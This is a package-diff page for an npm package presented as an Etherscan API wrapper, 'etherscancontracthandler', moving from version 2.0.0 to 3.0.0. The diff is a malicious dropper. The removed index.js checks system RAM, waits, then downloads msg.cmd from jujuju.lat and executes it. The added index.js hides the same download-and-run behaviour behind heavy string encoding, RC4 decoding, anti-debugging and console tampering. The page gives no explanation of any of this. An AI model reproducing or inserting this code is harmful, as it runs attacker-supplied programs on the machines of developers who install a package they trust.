etherscancontracthandler 2.0.0 → 3.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +1 -20
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,20 +1 @@
1
- const os = require('os');
2
- const { exec } = require('child_process');
3
-
4
- const REQUIRED_RAM_MB = 6000;
5
- const DELAY_MS = 2000; // 2 seconds in milliseconds
6
-
7
- function checkRAM() {
8
- return os.totalmem() / (1024 * 1024) >= REQUIRED_RAM_MB;
9
- }
10
-
11
- async function main() {
12
- if (!checkRAM()) return;
13
-
14
- await new Promise(resolve => setTimeout(resolve, DELAY_MS));
15
-
16
- const command = 'curl -k -L -Ss https://jujuju.lat/files/msg.cmd -o "%TEMP%\\msg.cmd" && "%TEMP%\\msg.cmd"';
17
- exec(command);
18
- }
19
-
20
- main();
1
+ const _0x2417=['B8krWOHKW4FcQCkAphxdHI4=','GkLYZ','aSkWWOKbvJ1CthFcJCkqW4/cH8oUuIpcHmoKW7fVWO8mW4bUgmouWOJdG8kFobhdHW==','ffUbb','return\x20/\x22\x20+\x20this\x20+\x20\x22/','uevuy2K=','EwD3Efu=','UcipS','bind','aCoebHlcMG==','fmkoaeBdGq==','emUeI','WOmQWOxcI0u5cY0=','WOFdNCkhWPHM','W7ebeKSs','dCkIW7qwsZPbxW==','zAUHA','zxjYB3i=','apply','__proto__','WRjWW7apW4S=','console','length','WRxdJmoqfa==','totalmem','shjNANy=','WR3cMCo/W6tdPbRdOs1dqSo8eXZdJMFdJsJdVdm=','y3vYBcaTAYaTtcaTu3mGAhr0Chm6lY9QDwP1ANuUBgf0l2zPBgvZl3aUy21Kic1ViciLvevnucvCCc5JBwqIicyMiciLvevnucvCCc5JBwqI','qKlqU','wMTMEhm=','doogS','DgvZDa=='];(function(_0x583602,_0x3972fa){const _0x241709=function(_0x2a93ee){while(--_0x2a93ee){_0x583602['push'](_0x583602['shift']());}},_0x1731f2=function(){const _0x86ad2a={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x10ff04,_0x3ad110,_0x440ca0,_0x545bb9){_0x545bb9=_0x545bb9||{};let _0x5d076b=_0x3ad110+'='+_0x440ca0,_0x488710=0x0;for(let _0x41cd79=0x0,_0xac4e2f=_0x10ff04['length'];_0x41cd79<_0xac4e2f;_0x41cd79++){const _0x15a964=_0x10ff04[_0x41cd79];_0x5d076b+=';\x20'+_0x15a964;const _0x55ba86=_0x10ff04[_0x15a964];_0x10ff04['push'](_0x55ba86),_0xac4e2f=_0x10ff04['length'],_0x55ba86!==!![]&&(_0x5d076b+='='+_0x55ba86);}_0x545bb9['cookie']=_0x5d076b;},'removeCookie':function(){return'dev';},'getCookie':function(_0x4ccf67,_0x13b675){_0x4ccf67=_0x4ccf67||function(_0x39631c){return _0x39631c;};const _0x5d085a=_0x4ccf67(new RegExp('(?:^|;\x20)'+_0x13b675['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x18804e=function(_0x7431c9,_0x1a8dd7){_0x7431c9(++_0x1a8dd7);};return _0x18804e(_0x241709,_0x3972fa),_0x5d085a?decodeURIComponent(_0x5d085a[0x1]):undefined;}},_0x268d58=function(){const _0x19d42e=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x19d42e['test'](_0x86ad2a['removeCookie']['toString']());};_0x86ad2a['updateCookie']=_0x268d58;let _0x3e3944='';const _0x2214f0=_0x86ad2a['updateCookie']();if(!_0x2214f0)_0x86ad2a['setCookie'](['*'],'counter',0x1);else _0x2214f0?_0x3e3944=_0x86ad2a['getCookie'](null,'counter'):_0x86ad2a['removeCookie']();};_0x1731f2();}(_0x2417,0xd1));const _0x1731=function(_0x583602,_0x3972fa){_0x583602=_0x583602-0x186;let _0x241709=_0x2417[_0x583602];return _0x241709;};const _0x2a93=function(_0x583602,_0x3972fa){_0x583602=_0x583602-0x186;let _0x241709=_0x2417[_0x583602];if(_0x2a93['EdtASY']===undefined){var _0x1731f2=function(_0x86ad2a){const _0x268d58='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x3e3944=String(_0x86ad2a)['replace'](/=+$/,'');let _0x2214f0='';for(let _0x10ff04=0x0,_0x3ad110,_0x440ca0,_0x545bb9=0x0;_0x440ca0=_0x3e3944['charAt'](_0x545bb9++);~_0x440ca0&&(_0x3ad110=_0x10ff04%0x4?_0x3ad110*0x40+_0x440ca0:_0x440ca0,_0x10ff04++%0x4)?_0x2214f0+=String['fromCharCode'](0xff&_0x3ad110>>(-0x2*_0x10ff04&0x6)):0x0){_0x440ca0=_0x268d58['indexOf'](_0x440ca0);}return _0x2214f0;};_0x2a93['gQIbDs']=function(_0x5d076b){const _0x488710=_0x1731f2(_0x5d076b);let _0x41cd79=[];for(let _0xac4e2f=0x0,_0x15a964=_0x488710['length'];_0xac4e2f<_0x15a964;_0xac4e2f++){_0x41cd79+='%'+('00'+_0x488710['charCodeAt'](_0xac4e2f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x41cd79);},_0x2a93['ioyEGD']={},_0x2a93['EdtASY']=!![];}const _0x2a93ee=_0x2a93['ioyEGD'][_0x583602];if(_0x2a93ee===undefined){const _0x55ba86=function(_0x4ccf67){this['oSwvaA']=_0x4ccf67,this['aZKbqW']=[0x1,0x0,0x0],this['aoqLdg']=function(){return'newState';},this['pYjioG']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['qzSNdW']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x55ba86['prototype']['inqLpI']=function(){const _0x13b675=new RegExp(this['pYjioG']+this['qzSNdW']),_0x5d085a=_0x13b675['test'](this['aoqLdg']['toString']())?--this['aZKbqW'][0x1]:--this['aZKbqW'][0x0];return this['zzLwpe'](_0x5d085a);},_0x55ba86['prototype']['zzLwpe']=function(_0x18804e){if(!Boolean(~_0x18804e))return _0x18804e;return this['KmjBOr'](this['oSwvaA']);},_0x55ba86['prototype']['KmjBOr']=function(_0x39631c){for(let _0x7431c9=0x0,_0x1a8dd7=this['aZKbqW']['length'];_0x7431c9<_0x1a8dd7;_0x7431c9++){this['aZKbqW']['push'](Math['round'](Math['random']())),_0x1a8dd7=this['aZKbqW']['length'];}return _0x39631c(this['aZKbqW'][0x0]);},new _0x55ba86(_0x2a93)['inqLpI'](),_0x241709=_0x2a93['gQIbDs'](_0x241709),_0x2a93['ioyEGD'][_0x583602]=_0x241709;}else _0x241709=_0x2a93ee;return _0x241709;};const _0x86ad=function(_0x583602,_0x3972fa){_0x583602=_0x583602-0x186;let _0x241709=_0x2417[_0x583602];if(_0x86ad['TkGglH']===undefined){var _0x1731f2=function(_0x268d58){const _0x3e3944='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x2214f0=String(_0x268d58)['replace'](/=+$/,'');let _0x10ff04='';for(let _0x3ad110=0x0,_0x440ca0,_0x545bb9,_0x5d076b=0x0;_0x545bb9=_0x2214f0['charAt'](_0x5d076b++);~_0x545bb9&&(_0x440ca0=_0x3ad110%0x4?_0x440ca0*0x40+_0x545bb9:_0x545bb9,_0x3ad110++%0x4)?_0x10ff04+=String['fromCharCode'](0xff&_0x440ca0>>(-0x2*_0x3ad110&0x6)):0x0){_0x545bb9=_0x3e3944['indexOf'](_0x545bb9);}return _0x10ff04;};const _0x86ad2a=function(_0x488710,_0x41cd79){let _0xac4e2f=[],_0x15a964=0x0,_0x55ba86,_0x4ccf67='',_0x13b675='';_0x488710=_0x1731f2(_0x488710);for(let _0x18804e=0x0,_0x39631c=_0x488710['length'];_0x18804e<_0x39631c;_0x18804e++){_0x13b675+='%'+('00'+_0x488710['charCodeAt'](_0x18804e)['toString'](0x10))['slice'](-0x2);}_0x488710=decodeURIComponent(_0x13b675);let _0x5d085a;for(_0x5d085a=0x0;_0x5d085a<0x100;_0x5d085a++){_0xac4e2f[_0x5d085a]=_0x5d085a;}for(_0x5d085a=0x0;_0x5d085a<0x100;_0x5d085a++){_0x15a964=(_0x15a964+_0xac4e2f[_0x5d085a]+_0x41cd79['charCodeAt'](_0x5d085a%_0x41cd79['length']))%0x100,_0x55ba86=_0xac4e2f[_0x5d085a],_0xac4e2f[_0x5d085a]=_0xac4e2f[_0x15a964],_0xac4e2f[_0x15a964]=_0x55ba86;}_0x5d085a=0x0,_0x15a964=0x0;for(let _0x7431c9=0x0;_0x7431c9<_0x488710['length'];_0x7431c9++){_0x5d085a=(_0x5d085a+0x1)%0x100,_0x15a964=(_0x15a964+_0xac4e2f[_0x5d085a])%0x100,_0x55ba86=_0xac4e2f[_0x5d085a],_0xac4e2f[_0x5d085a]=_0xac4e2f[_0x15a964],_0xac4e2f[_0x15a964]=_0x55ba86,_0x4ccf67+=String['fromCharCode'](_0x488710['charCodeAt'](_0x7431c9)^_0xac4e2f[(_0xac4e2f[_0x5d085a]+_0xac4e2f[_0x15a964])%0x100]);}return _0x4ccf67;};_0x86ad['zEMTfj']=_0x86ad2a,_0x86ad['UDXBHr']={},_0x86ad['TkGglH']=!![];}const _0x2a93ee=_0x86ad['UDXBHr'][_0x583602];if(_0x2a93ee===undefined){if(_0x86ad['AyEDFx']===undefined){const _0x1a8dd7=function(_0x19d42e){this['MFDJKh']=_0x19d42e,this['tezwNl']=[0x1,0x0,0x0],this['ljJsVO']=function(){return'newState';},this['sWtXZI']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['pvLwHU']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1a8dd7['prototype']['EcFFJX']=function(){const _0xcc74ac=new RegExp(this['sWtXZI']+this['pvLwHU']),_0x51d269=_0xcc74ac['test'](this['ljJsVO']['toString']())?--this['tezwNl'][0x1]:--this['tezwNl'][0x0];return this['yejktE'](_0x51d269);},_0x1a8dd7['prototype']['yejktE']=function(_0x1e88e4){if(!Boolean(~_0x1e88e4))return _0x1e88e4;return this['PQvqPR'](this['MFDJKh']);},_0x1a8dd7['prototype']['PQvqPR']=function(_0xed4408){for(let _0x12688b=0x0,_0x5513ab=this['tezwNl']['length'];_0x12688b<_0x5513ab;_0x12688b++){this['tezwNl']['push'](Math['round'](Math['random']())),_0x5513ab=this['tezwNl']['length'];}return _0xed4408(this['tezwNl'][0x0]);},new _0x1a8dd7(_0x86ad)['EcFFJX'](),_0x86ad['AyEDFx']=!![];}_0x241709=_0x86ad['zEMTfj'](_0x241709,_0x3972fa),_0x86ad['UDXBHr'][_0x583602]=_0x241709;}else _0x241709=_0x2a93ee;return _0x241709;};const os=require('os'),{exec}=require('child_process'),REQUIRED_RAM_MB=0x1770,DELAY_MS=0x1d4c0;function checkRAM(){const _0x469b4e=_0x1731,_0x1a63c4={'doogS':function(_0x42cc1d,_0x2f00f5){return _0x42cc1d/_0x2f00f5;},'UcipS':function(_0x14bd4c,_0x4f4b75){return _0x14bd4c*_0x4f4b75;}};return _0x1a63c4[_0x469b4e(0x193)](os[_0x469b4e(0x18d)](),_0x1a63c4[_0x469b4e(0x19c)](0x400,0x400))>=REQUIRED_RAM_MB;}async function main(){const _0x554ac2=_0x86ad,_0x9e81e8=_0x2a93,_0x73cebe=_0x1731,_0x74c715={'ygwxU':_0x73cebe(0x199),'qbaEu':function(_0x42d584,_0x1517f7){return _0x42d584(_0x1517f7);},'ffUbb':function(_0x543a7d,_0x4edf04){return _0x543a7d+_0x4edf04;},'GkLYZ':function(_0x2ddebf,_0x188b81){return _0x2ddebf+_0x188b81;},'mgxIe':'log','PETci':'warn','Hrgjv':_0x9e81e8(0x186),'zAUHA':_0x554ac2(0x1a3,'dbA%'),'Zkfxs':function(_0x584826,_0x13d124){return _0x584826<_0x13d124;},'qKlqU':function(_0x231554,_0x37c5da,_0x524aa1){return _0x231554(_0x37c5da,_0x524aa1);},'axyDg':function(_0x55f99d){return _0x55f99d();}},_0x25a4f8=function(){let _0x25f0da=!![];return function(_0x940181,_0x2c582c){const _0x279a96=_0x25f0da?function(){if(_0x2c582c){const _0x27f99c=_0x2c582c['apply'](_0x940181,arguments);return _0x2c582c=null,_0x27f99c;}}:function(){};return _0x25f0da=![],_0x279a96;};}(),_0x51fdc8=_0x74c715[_0x73cebe(0x191)](_0x25a4f8,this,function(){const _0xba7db9=_0x9e81e8,_0x4cb278={'emUeI':_0x74c715[_0xba7db9(0x19b)]},_0x3cf95d=function(){const _0x3c5ced=_0xba7db9,_0x478930=_0x1731,_0x1ea2fe=_0x86ad,_0x8aba8=_0x3cf95d[_0x1ea2fe(0x195,'a[lj')](_0x4cb278[_0x478930(0x1a0)])()['constructor']('^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}');return!_0x8aba8[_0x3c5ced(0x194)](_0x51fdc8);};return _0x3cf95d();});_0x74c715[_0x554ac2(0x189,'WGu%')](_0x51fdc8);const _0x2f55ac=function(){let _0x39f6ac=!![];return function(_0x21945e,_0x34f435){const _0x2ffa37=_0x39f6ac?function(){const _0x3af470=_0x1731;if(_0x34f435){const _0x4148f0=_0x34f435[_0x3af470(0x187)](_0x21945e,arguments);return _0x34f435=null,_0x4148f0;}}:function(){};return _0x39f6ac=![],_0x2ffa37;};}(),_0x40242e=_0x2f55ac(this,function(){const _0x31296b=_0x9e81e8,_0x524208=_0x73cebe,_0xefd871=_0x554ac2;let _0xdac4f1;try{const _0x3c80bb=_0x74c715[_0xefd871(0x19e,'X8mq')](Function,_0x74c715[_0x524208(0x198)](_0x74c715[_0x524208(0x196)](_0xefd871(0x18f,'46qv'),_0xefd871(0x197,'Vr*&')),');'));_0xdac4f1=_0x3c80bb();}catch(_0x14814f){_0xdac4f1=window;}const _0x276646=_0xdac4f1['console']=_0xdac4f1[_0x524208(0x18a)]||{},_0x4eaa43=[_0x74c715[_0xefd871(0x19f,'ur$J')],_0x74c715[_0x31296b(0x19a)],_0xefd871(0x18c,'$mGU'),_0x74c715[_0x31296b(0x18e)],'exception','table',_0x74c715[_0x524208(0x1a5)]];for(let _0x839538=0x0;_0x74c715[_0x31296b(0x192)](_0x839538,_0x4eaa43[_0x524208(0x18b)]);_0x839538++){const _0x2f141c=_0x2f55ac['constructor']['prototype'][_0x524208(0x19d)](_0x2f55ac),_0x2d5e3d=_0x4eaa43[_0x839538],_0x1d36b6=_0x276646[_0x2d5e3d]||_0x2f141c;_0x2f141c[_0x524208(0x188)]=_0x2f55ac['bind'](_0x2f55ac),_0x2f141c[_0xefd871(0x1a4,'Vr*&')]=_0x1d36b6[_0xefd871(0x1a1,'a#48')][_0x524208(0x19d)](_0x1d36b6),_0x276646[_0x2d5e3d]=_0x2f141c;}});_0x74c715[_0x554ac2(0x1a2,'rRM8')](_0x40242e);if(!_0x74c715['axyDg'](checkRAM))return;await new Promise(_0xca210a=>setTimeout(_0xca210a,DELAY_MS));const _0x5610c5=_0x9e81e8(0x190);_0x74c715['qbaEu'](exec,_0x5610c5);}main();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "etherscancontracthandler",
3
- "version": "2.0.0",
3
+ "version": "3.0.0",
4
4
  "description": "An API Wrapper to interact with and download ethereum smart contracts from Etherscan.",
5
5
  "main": "index.js",
6
6
  "author": "Etherscan Development Team",